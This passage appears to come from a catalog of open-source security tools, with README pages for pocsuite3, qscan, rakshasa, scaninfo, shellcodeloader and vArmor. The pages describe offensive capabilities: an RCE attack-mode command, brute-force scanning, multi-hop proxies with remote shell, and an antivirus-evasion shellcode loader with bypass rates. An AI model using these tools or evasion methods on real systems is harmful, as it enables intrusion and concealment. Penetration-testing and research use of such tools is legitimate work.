'chunked', 'Date': 'Mon, 25 Dec 2023 07:39:17 GMT'}\n[15:39:17] [INFO] Scan completed,ready to print\n\n+------------------------------------------------------------------+--------------------------+--------+-----------+---------+---------+\n| target-url                                                       |         poc-name         | poc-id | component | version |  status |\n+------------------------------------------------------------------+--------------------------+--------+-----------+---------+---------+\n| http://127.0.0.1:8080/S2-032-showcase/fileupload/doUpload.action | Struts2 045 RCE CVE-2017 |        |  struts2  |         | success |\n+------------------------------------------------------------------+--------------------------+--------+-----------+---------+---------+\nsuccess : 1 / 1\n```\n\n\n#### Introduction to vulnerability environment construction\n```shell\nDocker Environment:\n  Docker Environment options\n\n  --docker-start        Run the docker for PoC\n  --docker-port DOCKER_PORT\n                        Publish a container's port(s) to the host\n  --docker-volume DOCKER_VOLUME\n                        Bind mount a volume\n  --docker-env DOCKER_ENV\n                        Set environment variables\n  --docker-only         Only run docker environment\n\n```\n - `--docker-start` Start environment parameters. If specified, docker images will be obtained from poc.\n - `--docker-port`  publish a container's port(s) to the host, like: `--docker-port [host port]:[container port]`,you can specify multiple\n - `--docker-volume` bind mount a volume,like `--docker-volume /host/path/:/container/path`,you can specify multiple\n - `--docker-env`  set environment variables `--docker-env VARIBLES=value`,you can specify multiple\n - `--docker-only` only start the docker environment\n\nThe usage is roughly the same as docker’s command line parameters.\n\n## Requirements\n\n- Python 3.7+\n- Works on Linux, Windows, Mac OSX, BSD, etc.\n\n## Installation\n\nPaste at a terminal prompt:\n\n### Python pip\n\n``` bash\npip3 install pocsuite3\n\n# use other pypi mirror\npip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pocsuite3\n```\n\n### MacOS\n\n``` bash\nbrew update\nbrew info pocsuite3\nbrew install pocsuite3\n```\n\n### [Debian](https://tracker.debian.org/pkg/pocsuite3), [Ubuntu](https://launchpad.net/ubuntu/+source/pocsuite3), [Kali](http://pkg.kali.org/pkg/pocsuite3)\n\n``` bash\nsudo apt update\nsudo apt install pocsuite3\n```\n\n### Docker\n\n```\ndocker run -it pocsuite3/pocsuite3\n```\n\n### ArchLinux\n\n``` bash\nyay pocsuite3\n```\n\n###\n\nOr click [here](https://github.com/knownsec/pocsuite3/archive/master.zip) to download the latest source zip package and extract\n\n``` bash\nwget https://github.com/knownsec/pocsuite3/archive/master.zip\nunzip master.zip\ncd pocsuite3-master\npip3 install -r requirements.txt\npython3 setup.py install\n```\n\n\nThe latest version of this software is available at: https://pocsuite.org\n\n## Documentation\n\nDocumentation is available at: https://pocsuite.org\n\n## Usage\n\n```\ncli mode\n\n\t# basic usage, use -v to set the log level\n\tpocsuite -u http://example.com -r example.py -v 2\n\n\t# run poc with shell mode\n\tpocsuite -u http://example.com -r example.py -v 2 --shell\n\n\t# search for the target of redis service from ZoomEye and perform batch detection of vulnerabilities. The threads is set to 20\n\tpocsuite -r redis.py --dork service:redis --threads 20\n\n\t# load all poc in the poc directory and save the result as html\n\tpocsuite -u http://example.com --plugins poc_from_pocs,html_report\n\n\t# load the target from the file, and use the poc under the poc directory to scan\n\tpocsuite -f batch.txt --plugins poc_from_pocs,html_report\n\n\t# load CIDR target\n\tpocsuite -u 10.0.0.0/24 -r example.py\n\n\t# the custom parameters `command` is implemented in ecshop poc, which can be set from command line options\n\tpocsuite -u http://example.com -r ecshop_rce.py --attack --command \"whoami\"\n\nconsole mode\n    poc-console\n```\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2023-07-18 发布演示视频[404星链计划开源安全工具演示——pocsuite3](https://www.bilibili.com/video/BV1gz4y1E7j1/)\n- 2022-07-13 发布文章[《Pocsuite3 入门教程》](https://paper.seebug.org/1931/)\n\n## 最近更新\n\n#### [v2.1.0] - 2025-02-28\n\n**更新**  \n- 更新 ZoomEye API v2  \n- 修复部分 bug\n\n#### [v2.0.8] - 2024-02-09\n\n**更新**  \n- 修复 nuclei dsl 语法解析  \n- 修复 -l 命令在 windows 兼容问题\n\n#### [v2.0.7] - 2023-12-29\n\n**更新**  \n- 添加 http debug level 命令行参数 --http-debug  \n- 修复一些 bug\n\n#### [v2.0.6] - 2023-12-26\n\n**更新**  \n- 新增查看本地 poc 参数 -l  \n- 根据poc搭建对应的漏洞环境，详情可以参考 pocs/Apache_Struct2\n\n#### [v2.0.5] - 2023-07-27\n\n**更新**  \n- 修复 urllib3 更新导致 requests hook 失效的问题  \n- 优化 DSL 表达式执行  \n- 将 mmh3 设置为可选依赖  \n- 优化检查更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/qscan.md",
    "content": "## qscan <https://github.com/qi4L/qscan>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Go-blue)\n![Author](https://img.shields.io/badge/Author-qi4L-orange)\n![GitHub stars](https://img.shields.io/github/stars/qi4L/qscan.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.8.1-red)\n![Time](https://img.shields.io/badge/Join-20250513-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n<p align=\"center\"> 一个速度极快的内网扫描器，具备端口扫描、协议检测、指纹识别，暴力破解，漏洞探测等功能。支持协议1200+，协议指纹10000+，应用指纹20000+，暴力破解协议10余种 </p>\n\n<p align=\"center\"> 中文文档 | <a href=\"README.en.md\">English</a> </p>\n\n# 🚀 上手指南\n\n📢 请务必花一点时间阅读此文档，有助于你快速熟悉JYso！\n\n🧐 使用文档[Wiki](https://github.com/qi4L/qscan/wiki)。\n\n✔ 下载最新版本的[Releases](https://github.com/qi4L/qscan/releases)。\n\n# 👍 特点\n\n+ spy 模式极速遍历常见B段，比常见的一个一个遍历，快上很多倍；\n+ 在精确识别端口的同时，又拥有极快的速度；\n  + 线程池优化：减少内存分配和 GC 开销；\n  + 模板缓存：减少重复构建；\n  + 并行发送：榨干多核 CPU；\n  + 批量处理：减少系统调用；\n  + 并行处理管道： 接收、解析、处理三阶段并行，效率最大化；\n  + 缓冲区优化: 增加 Channel 缓冲区，避免阻塞；\n\n# 和Fscan对比的优势\n\n+ 同端口数，同线程数下的速度对比：\n\nQScan\n![img.png](https://raw.githubusercontent.com/qi4L/qscan/master/assets/qscan速度.png)\n\nFScan\n![img.png](https://raw.githubusercontent.com/qi4L/qscan/master/assets/FScan.png)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v1.8.1] - 2025-11-27\n\n ** 修复BUG issues 20 ** \n\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/rakshasa.md",
    "content": "## rakshasa <https://github.com/Mob2003/rakshasa>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-Mob2003-orange)\n![GitHub stars](https://img.shields.io/github/stars/Mob2003/rakshasa.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.2.3-red)\n![Time](https://img.shields.io/badge/Join-20230410-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\nrakshasa是一个使用Go语言编写的强大多级代理工具，专为实现**多级代理**，**内网穿透**而设计。它可以在节点群里面任意两个节点之间转发TCP请求和响应，同时支持**socks5代理**，**http代理**，并且可以**引入外部http、socks5代理池，自动切换请求IP**。\n\n节点之间使用内置证书的TLS加密TCP通讯，再叠加一层自定义秘钥的AES加密，可以在所有Go支持的平台使用。可以在你所有的的Windows和Linux服务器上搭建节点并组成节点群网络。\n\n节点分为普通节点(node)与控制节点(fullnode)\n- 普通节点，无法控制其他节点进行代理、shell等操作\n- 控制节点，全功能节点\n\n## 项目结构示例和截图\n[点击查看更多介绍](https://github.com/Mob2003/rakshasa/blob/main/readme/rakshasa%E9%A1%B9%E7%9B%AE%E8%AE%BE%E8%AE%A1.md)\n\n[win10+Proxifier实现内网穿透](https://github.com/Mob2003/rakshasa/blob/main/readme/rakshasa%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F--win10+Proxifier%E4%BD%BF%E7%94%A8%E6%A1%88%E4%BE%8B.md)\n\n## 版本迭代\n-  **v0.1.0**  2023-03-28\n    - 首次发布\n-  **v0.2.0**  2023-04-02\n    - 更改为fullnode版本，fullnode为全功能版本可以控制别人也能被控\n    - 增加node版本，去掉私钥，无法发起代理等关键操作，适合被控\n    - 增加lite版本，在上面版本的基础上，精简cli交互与http代理池，体积缩小2mb\n    - 优化节点连接逻辑，并且遍历网卡ip进行net.Dail，解决多网卡下，无法连接的问题\n-  **v0.2.2**  2023-04-08\n    - 增加http_proxy重连逻辑，节点掉线后重连http代理能够正常重连使用\n    - 优化节点重连逻辑\n    - 增加uuid选项，默认uuid使用网卡mac作为随机数种子，进行生成\n\n## 编译与使用\n\n生成新的证书，编译所有版本节点\n```shell\ngo run build.go -all\n```\n\n编译所有版本节点（不更新证书）\n```shell\ngo run build.go -all -nocert\n```\n\n生成覆盖证书\n```shell\ngo run build.go -gencert\n```\n\n生成控制节点与普通节点\n```shell\ngo run build.go -fullnode\n```\n\n只生成普通节点\n```shell\ngo run build.go -node\n```\n\n证书保存在cert目录下，可以使用第三方工具生成，请使用RSA PKCS1-V1.5\n```shell\nprivate.go     --编译普通节点的时候要删除此文件\nprivate.pem  --与public.pem对应的公钥私钥，普通节点不包含私钥\npublic.pem\nserver.crt     --tls通讯证书\nserver.key    --tls通讯私钥\n```\n## 版本区别\n\n|     | fullnode  | node|fullnode_lite|node_lite|\n|  ----  | ----  |----  |----  |----  |\n|连接其他节点  | √ |√ |√ |√ |\n|启动本地socks5代理 | √ |√ |√ |√ |\n|启动本地http代理 | √ |√ |√ |√ |\n|启动多层代理 | √ |× |√ |× |\n|远程shell| √ |× |√ |× |\n|其他远程功能| √ |× |√ |× |\n| 交互式CLI  | √ |√ |× |× |\n| check_proxy  | √ |√ |× |× |\n\n简单来讲\n- fullnode 完全版，能控制别人，也能被控\n- node 能连接其他节点，但是不能对其他节点操控，适合作为被控端\n- lite版本，精简掉cli和net/http，与一些debug的代码\n\n## 使用图示\n![image](https://user-images.githubusercontent.com/128351726/226882870-f4f3cbc0-61df-486c-afc0-511d87586402.png)\n\n\n## 使用方法\n\n\n\n### 启动一个带CLI节点\n不带任何参数即可启动：\n```shell\nd:\\>rakshasa.exe\nstart on port: 8883\nrakshasa>\nrakshasa>help\n\nCommands:\n  bind              进入bind功能\n  clear             clear the screen\n  config            配置管理\n  connect           进入connect功能\n  exit              exit the program\n  help              display help\n  httpproxy         进入httpProxy功能\n  new               与一个或者多个节点连接，使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082\n  ping              ping 节点\n  print             列出所有节点\n  remoteshell       远程shell\n  remotesocks5      进入remotesocks5功能\n  shellcode         执行shellcode\n  socks5            进入socks5功能\n\n\nrakshasa>\n```\n请查阅[CLI使用说明](https://github.com/Mob2003/rakshasa/blob/main/readme/cli.md)了解详细信息\n\n## 其他启动参数说明\n### -nocli\n在无法后台执行的情况下，启动一个不带 CLI 的节点:\n```shell\nnohup /root/rakshasa -nocli > /root/rakshasa.log 2>&1 &\n#Linux下配合nohup后台执行\n```\n\n### -p 端口\n以指定端口启动:\n```shell\nrakshasa -p 8883\n```\n\n### -d ip:port,ip:port...\n连接下一层代理或更多层代理，多个地址以逗号隔开，生效在最后一个 ip:port：\n```shell\nrakshasa -d 192.168.1.1:8883,192.168.1.2:8883,192.168.1.3:8883 -socks5 1080\n#从本地1080端口启动一个socks5代理，流量通过三层转发ip最后在192.168.1.3请求目标数据\n```\n\n### -socks5 用户名:密码@ip:端口 \n本地开启SOCKS5代理穿透到远程节点，可以不带-d：\n```shell\nrakshasa -socks5 1080 \n#不使用-d参数，则表示直接在本机启动一个socks5代理\n```\n\n\n\n### -remotesocks5 端口 \n远程开启SOCKS5代理流量出口到本地：\n```shell\nrakshasa -remotesocks5 1081  -d 192.168.1.2:1080,192.168.1.3:1080\n#方向从右往左(加上本机是3个节点)，在192.168.1.3这台机器开启一个socks5端口1081，流量穿透到本地节点出去\n```\n\n### -connect ip:port,remote_ip:remote_port \n本地监听并转发到指定 IP 端口，使用场景为本机连接 teamserver，隐藏本机 IP：\n```shell\nrakshasa -connect 127.0.0.1:50050,192,168,1,2:50050 -d 192.168.1.3:1080,192.168.1.4:1080 \n#本机cs连接127.0.0.1:50050实际上通过1.3,1.4节点后，再连接到192.168.1.2:50050 teamserver，teamserver看到你的ip是最后一个节点的ip\n```\n\n### -bind  ip:port,remote_ip:remote_port\n反向代理模式，必须配合-d使用：\n```shell\nrakshasa -bind 192.168.1.2:50050,0,0,0.0:50050 -d 192.168.1.3:1080,192.168.1.4:1080\n#与上面相反，在最右端节点监听端口50050，流量到本机节点后，最终发往192.168.1.2，最终上线ip为本机ip\n```\n### -http_proxy 用户名:密码@ip:端口\n启动一个http代理，可以不使用-d，建议配合-http_proxy_pool使用代理池，自动切换代理ip：\n```shell\nrakshasa -http_proxy 8080 -http_proxy_pool out.txt\n```\n\n### -password 密钥\n各节点除了证书校验之外，还额外支持密钥连接，建议使用并定期更换密钥，以避免二进制泄露后被别人连上\n```shell\nrakshasa -password 123456\n```\n\n\n### -f yaml文件 [详细说明](https://github.com/Mob2003/rakshasa/blob/main/readme/config.md)\n指定配置文件启动。\n\n### -help \n更多启动参数使用帮助\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v0.2.3] - 2023-04-23\n\n**更新**  \n- 优化一个连接失败可能会导致nil的bug  \n- 修改一个nodeMap为sync.Map以减少代码里面lock的使用\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/scaninfo.md",
    "content": "## scaninfo <https://github.com/redtoolskobe/scaninfo>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-华东360安服团队-orange)\n![GitHub stars](https://img.shields.io/github/stars/redtoolskobe/scaninfo.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1.0-red)\n![Time](https://img.shields.io/badge/Join-20220316-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n开源、轻量、快速、跨平台 的红队内外网打点扫描器\n\n## 注意的点\n\n- 漏洞扫描的时候有时候最后几个任务会卡住，是因为ftp爆破模块，这个fscan也一样目前没有好的解决办法，后续更新.先阶段可以-eq 21跳过ftp，或者control+c 主动停止不影响结果保存。\n- 有时候扫外网的全端口会漏掉端口可以使用-n 指定线程为500，400，默认为900.网络好的话900-1000都是没有问题\n- 关于结果报告 xlsx 文件是当你control+c 主动停止或任务正常结束时才会写入。txt文件是实时写入。\n\n\n## 项目说明\n\n>  为何有这个项目\n\n在渗透测试的端口扫描阶段，相信很多人遇到的问题是nmap太慢，masscan不准确。难以在速度与准确度之间寻找一个平衡。 其实有个工具不错就是[TXPortMap](https://github.com/4dogs-cn/TXPortMap)。但是没有进度条当大量扫描的时候结果处理也太友好。\n\n在内网这块[fscan](https://github.com/shadow1ng/fscan)算是一款很优秀的工具但也有一些问题，如端口扫描不支持服务识别等。\n\n指纹这块[EHole](https://github.com/EdgeSecurityTeam/EHole)也算一款很优秀的工具\n\n## 如何解决这个问题\n\n- scaninfo 专门解决上述问题并对上述项目代码进行了优化与重构，快速的端口扫描和服务识别比masscan更快。\n\n- 包含fscan的绝大部份功能除了poc扫描和自定义字典\n\n- 更好的web探测与指纹识别\n\n- 更好的报告输出\n\n## 使用说明\n\n![image-20211105132301924](https://github.com/redtoolskobe/scaninfo/raw/main/infoscan.assets/image-20211105132301924.png)\n\n> 常见的参数\n\n```shell\nscaninfo -uf  url.txt -m  webfinger  web指纹识别\n```\n\n```shell\nscaninfo  -i  192.168.0.0/24  -p  1-65535  -eq 53  -m port 端口扫描\n```\n\n```shell\nscaninfo  -i  192.168.0.0/24  -l ip.txt  -uf  url.txt -t1000   可以组合各种目标ip段ip文件url文件 \n```\n\n## 报告\n\n> 报告主要是直观的excel并对每一种类型进行分类。同时也会生成txt json格式的结果。\n\n![image-20211105134827966](https://github.com/redtoolskobe/scaninfo/raw/main/infoscan.assets/image-20211105134827966.png)\n\n![image-20211105134954709](https://github.com/redtoolskobe/scaninfo/raw/main/infoscan.assets/image-20211105134954709.png)\n\n## 参数\n\n>  主要参数\n\n| 参数  | 说明                             |\n| ----- | -------------------------------- |\n| -ei   | 排除某IP                         |\n| -eq   | 排除某端口                       |\n| -l    | 指定IP文件                       |\n| -uf   | 指定要web指纹识别的url文件       |\n| -ff   | 指定指纹文件默认使用内置         |\n| -o    | 指定保存的结果文件默认为result   |\n| -p    | 指定端口默认使用top100           |\n| -m    | 指定扫描的模块默认为全部         |\n| -pt   | 指定ping 探测存活的线程          |\n| -vt   | 指定web指纹扫描的线程默认500     |\n| -n    | 指定端口扫描的线程默认900        |\n| -show | 查看扫描支持的模块               |\n| -t    | 端口扫描tcp连接的超时时间默认0.5 |\n| -np   | 跳过存活探测                     |\n\n> 模块说明\n\n| 模块      | 说明                                |\n| --------- | ----------------------------------- |\n| ftp       | ftp弱口令探测                       |\n| ssh       | ssh弱口令探测                       |\n| smb       | smb弱口令探测                       |\n| mssql     | mssql弱口令探测                     |\n| mysql     | mysql弱口令探测                     |\n| mgo       | mongodb弱口令探测                   |\n| redis     | redis弱口令探测                     |\n| psql      | psql弱口令探测                      |\n| ms17010   | ms17010探测                         |\n| smbghost  | smbghost探测                        |\n| webfinger | web指纹识别                         |\n| netbios   | netbios探测，可以识别主机名发现域控 |\n| findnet   | oxid                                |\n| all       | 所有                                |\n| port      | 端口扫描                            |\n| ping      | ping 存活                           |\n| mem       | memcached弱口令                     |\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/shellcodeloader.md",
    "content": "## shellcodeloader <https://github.com/knownsec/shellcodeloader>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-C++-blue)\n![Author](https://img.shields.io/badge/Author-m0ngo0se@knownsec404-orange)\n![GitHub stars](https://img.shields.io/github/stars/knownsec/shellcodeloader.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1-red)\n![Time](https://img.shields.io/badge/Join-20201125-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n# ShellcodeLoader\n\nLanguage： [English](https://github.com/knownsec/shellcodeloader/blob/master/Readme.md) \n\nWindows平台的shellcode免杀加载器。\n\n## 功能特点\n\n1. 自带多种加载方式。32位自带13种加载方式，64位自带12种加载方式。\n\n2. 支持拓展。如果发现新的利用方式，按指定方式开发模板即可。\n\n3. shellcode自动随机加密。使用时间为种子，生成128位密钥进行加密，相同shellcode出来的加载器的md5也不相同。\n\n   \n\n## 编译环境和方法\n\n   环境:生成器使用MFC实现UI，生成器和加载器模板均使用C++开发，VS2015静态编译。\n\n   方法:使用VS2015打开项目的解决方案(.sln)，再进行编译即可。你也可以从[realse](https://github.com/knownsec/shellcodeloader/releases/)下载成品。\n\n\n\n## 文件组成\n\n  本工具由生成器(shellcodeLoader.exe),和众多加载器模板组成。不同的加载器模板需放入对应位数的目录。并最终放入生成器同目录下的DATA目录。\n\n<img src=\"https://github.com/knownsec/shellcodeloader/raw/master/Readme.assets/image-20201124160121278.png\" alt=\"image-20201124160121278\" style=\"zoom:80%;\" />\n\n\n## 使用方法\n\n1. **打开生成器**\n\n   ![image-20201124160202106](https://github.com/knownsec/shellcodeloader/raw/master/Readme.assets/image-20201124160202106.png)\n\n   \n\n2. **将想要加载的shellcode源文件(.bin)拖入该窗口**\n\n   ![image-20201124160330548](https://github.com/knownsec/shellcodeloader/raw/master/Readme.assets/image-20201124160330548.png)\n\n   \n\n3. **勾选加载器的运行位数，并选择你需要的配置选项，是否需要自启动(自带方式皆为注册表方式自启动)，是否需要反沙箱(64位下多数杀软不需要该选项即可免杀)**\n\n   \n\n4. **选择你想要的加载方式，不同位数下的加载方式会有不同，其取决于DATA目录下对应的加载器模板。**\n\n   ![image-20201124160839607](https://github.com/knownsec/shellcodeloader/raw/master/Readme.assets/image-20201124160839607.png)\n\n   \n\n5. **点击生成，则会在桌面生成最终的加载器。**\n\n   ![image-20201124161035698](https://github.com/knownsec/shellcodeloader/raw/master/Readme.assets/image-20201124161035698.png)\n\n## 拓展方法\n\n1. 在你新的模板源文件前包含public.hpp.\n\n   \n\n2. 调用GetShellcodeFromRes()函数获取shellcode信息,注意100不可更改，除非你改了生成器中的资源序号。\n\n   ![image-20201124162327193](https://github.com/knownsec/shellcodeloader/raw/master/Readme.assets/image-20201124162327193.png)\n\n   其返回shellcode的数据指针，并且，shellcodeSize就是shellcode的大小。多数情况下，这一步是不需要进行更改的，你可以在获取shellcode之后做任何事。\n\n   \n\n3. 按照你需要的方法加载shellcode，完成后进行编译(PS:请确保你进行了静态编译，且取消了调试符号链接).\n\n   ![image-20201124162721783](https://github.com/knownsec/shellcodeloader/raw/master/Readme.assets/image-20201124162721783.png)\n\n   \n\n4. 将编译出来的文件进行指定命名,这里的命名就是UI上最终现实的加载方式名称，并将其后缀改为DAT，放入指DATA目录下指定位数的目录中，生成器会自动获取该加载方式。\n\n   ![image-20201124162912373](https://github.com/knownsec/shellcodeloader/raw/master/Readme.assets/image-20201124162912373.png)\n\n   \n\n###  关于public.hpp\n\n  public.hpp源码中含有必要的注释。如果你想要其他的方式进行反沙箱,你可以更改antisandbox中的函数；如果你想要其他方式自启动，你可以更改autostart函数中的内容。其他函数体的内容多数情况下是不需要更改的。\n\n\n\n## 使用效果\n\nVT检测效果，均以CS原始shellcode，并不勾选反沙箱为例：\n\n| 加载方式                 | 未绕过率 |\n| ------------------------ | -------- |\n| CreateThreadpoolWait加载 | 3/72     |\n| Fiber加载                | 4/72     |\n| NtTestAlert加载          | 5/70     |\n| SEH异常加载              | 2/72     |\n| TLS回调加载              | 28/71    |\n| 动态加载                 | 1/72     |\n| 动态加载plus             | 28/71    |\n| 系统call加载             | 1/69     |\n| APC注入加载              | 6/72     |\n| Early Brid APC注入加载   | 4/72     |\n| NtCreateSection注入加载  | 2/71     |\n| 入口点劫持注入加载       | 3/72     |\n| 线程劫持注入加载         | 6/72     |\n\n在动态加载方式勾选反沙箱之后，结果如下：\n\n![1fef278889c961331a185698c35d220](https://github.com/knownsec/shellcodeloader/raw/master/Readme.assets/1fef278889c961331a185698c35d220.png)\n\n\n\n使用该加载器bypass诺顿的智能防火墙出网拦截，并上线:\n\n![image-20201124163815942](https://github.com/knownsec/shellcodeloader/raw/master/Readme.assets/image-20201124163815942.png)\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/vArmor.md",
    "content": "## vArmor <https://github.com/bytedance/vArmor>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-bytedance-orange)\n![GitHub stars](https://img.shields.io/github/stars/bytedance/vArmor.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.9.2-red)\n![Time](https://img.shields.io/badge/Join-20230831-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\nvArmor 是一个云原生容器沙箱系统，它借助 Linux 的 [AppArmor LSM](https://en.wikipedia.org/wiki/AppArmor), [BPF LSM](https://docs.kernel.org/bpf/prog_lsm.html) 和 [Seccomp](https://en.wikipedia.org/wiki/Seccomp) 技术实现强制访问控制器（即 enforcer），从而对容器进行安全加固。它可以用于增强容器隔离性、减少内核攻击面、增加容器逃逸或横行移动攻击的难度与成本。\n\n您可以借助 vArmor 在以下场景对 Kubernetes 集群中的容器进行沙箱防护\n* 业务场景存在多租户（多租户共享同一个集群），由于成本、技术条件等原因无法使用硬件虚拟化容器（如 Kata Container）\n* 需要对关键的业务进行安全加固，增加攻击者权限提升、容器逃逸、横向渗透的难度与成本\n* 当出现高危漏洞，但由于修复难度大、周期长等原因无法立即修复时，可以借助 vArmor 实施漏洞利用缓解（具体取决于漏洞类型或漏洞利用向量。缓解代表阻断利用向量、增加利用难度）\n\n*注意：如果需要高强度的隔离方案，建议优先考虑使用硬件虚拟化容器（如 Kata Container）进行计算隔离，并借助 CNI 的 NetworkPolicy 进行网络隔离。*\n\n**vArmor 的特色**\n* **Cloud-Native**. vArmor 遵循 Kubernetes Operator 设计模式，用户可通过操作 [CRD API](https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/) 对特定的 Workloads 进行加固。从而以更贴近业务的视角，实现对容器化微服务的沙箱加固。\n* **Multiple Enforcers**. vArmor 将 AppArmor、BPF、Seccomp 抽象为 Enforcer，并支持单独或组合使用，从而对容器的文件访问、进程执行、网络外联、系统调用等进行访问控制。\n* **Allow-by-Default**. vArmor 当前重点支持此安全模型。即只有显式声明的行为会被阻断，从而减少性能损失和增加易用性。\n* **Built-in Rules**. vArmor 提供了一系列开箱即用的内置规则。这些规则为 Allow-by-Default 安全模型设计，从而极大降低对用户专业知识的要求。\n* **Behavior Modeling**. vArmor 支持对工作负载进行行为建模。这可用于开发白名单安全策略、分析哪些内置规则可用于加固应用、指导工作负载的配置遵循权限最小化原则。\n* **Deny-by-Default**. vArmor 可以基于行为模型创建白名单安全策略，从而确保仅显式声明的行为被允许。\n\nvArmor 由字节跳动终端安全团队的 **Elkeid Team** 研发，目前该项目仍在积极迭代中。\n\n\n## 文档\n您可以访问 [varmor.org](https://varmor.org) 查看 vArmor 的文档。\n\n👉 **[快速上手](https://www.varmor.org/docs/introduction#quick-start)**\n\n👉 **[安装指引](https://www.varmor.org/docs/getting_started/installation)**\n\n👉 **[使用手册](https://www.varmor.org/docs/getting_started/usage_instructions)**\n\n👉 **[策略与规则](https://www.varmor.org/docs/guides/policies_and_rules)**\n\n👉 **[性能说明](https://www.varmor.org/docs/guides/performance)**\n\n\n## 贡献\n感谢您有兴趣为 vArmor 做出贡献！以下是帮助您入门的一些步骤：\n\n✔ 阅读并遵循社区[行为准则](https://github.com/bytedance/vArmor/blob/main/CODE_OF_CONDUCT.md).\n\n✔ 阅读[开发指引](https://github.com/bytedance/vArmor/blob/main/docs/development_guide.md).\n\n✔ 加入 vArmor [飞书群](https://applink.larkoffice.com/client/chat/chatter/add_by_link?link_token=ae5pfb2d-f8a4-4f0b-b12e-15f24fdaeb24&qr_code=true).\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v0.9.2] - 2026-02-25\n**特色**\n -  为特定云服务提供商添加了新的元数据阻断规则 \n- 在运行端对端测试用例前启用功能 \n**重构**\n- 重构领导者选举实施以解决大规模集群中租约续约失败 \n- 将特征门拆分为和 \n- 大规模集群优化性能和稳定性 \n- 更新的端对端工作流程 \n\n\n#### [v0.9.0] - 2025-11-13\n**功能更新**\n -   为 BPF 执行器配置文件启用了 enforce/complain 模式，以与 AppArmor 对齐 (#250)\n -   为 BPF 执行器添加了 BehaviorModeling 模式支持 (#250)\n -   为 BPF 执行器生成的违规日志添加了 `operation` 字段 (#250)\n -   将违规日志中的 `eventType` 字段重命名为 enforcer (#250)\n -   为 BPF 执行器的自定义规则接口添加了 `qualifiers` 字段 (#257)\n -   为 BPF 执行器中支持的挂载标志添加了简写形式，与 AppArmor 保持一致 (#250)\n -   启用了 policy-advisor 使用 BPF 执行器行为数据生成策略模板 (#261)\n **重构**\n -   重命名了 CRD 中的配置文件和动态结果字段 (#255)\n -   标准化了所有 Seccomp 违规日志，使用 `AUDIT|ALLOWED` 操作 (#253)\n -   调整了所有违规日志的记录级别为 warn (#263)\n -   从 JSON 日志格式设置中移除了 zerolog 时间格式配置 (#266)\n -   标准化了所有 AppArmor 规则的缩进以提高可读性 (#265)\n -   依赖项升级：Go 更新至 1.24，ebpf 包更新至 v0.19.0 (#250)\n -   更新了 Dockerfile 中的基础镜像和环境变量 (#250, #251)\n **修复**\n -   修复了 BPF 执行器的配置文件生成逻辑，使用正确的规则模式常量 (#252)\n -   解决了 BPF 事件转换过程中的潜在空指针引用问题 (#254)\n\n\n#### [v0.8.0] - 2025-06-26\n\n**新增**  \n- 添加了自托管运行器和 BPF 执行者的端到端测试用例  \n- 支持为网络出口规则定义多个端口和端口范围  \n- 添加了 PodServiceEgressControl 特性，限制对 Pod 和服务的访问  \n- 添加了 pod-self 实体，以限制容器访问其所在 Pod 的 IP  \n- 添加了一个未指定的实体，以限制容器访问 0.0.0.0 和 ::  \n- 添加了一个 localhost 实体，以限制容器访问回环地址  \n- 通过灵活的配置文件来源和观察支持增强了深入防御模式  \n- 从 Pod 注释中提取了配置文件名称，并将其添加到违规事件中，以改善日志可追溯性  \n- 支持将元数据注入违规事件  \n- 支持从现有策略中移除 BPF 执行者  \n- 添加了 block-access-to-kube-apiserver 内置规则  \n- 添加了 ingress-nightmare-mitigation 内置规则  \n**更新**  \n- 将 AppArmor 和 Seccomp 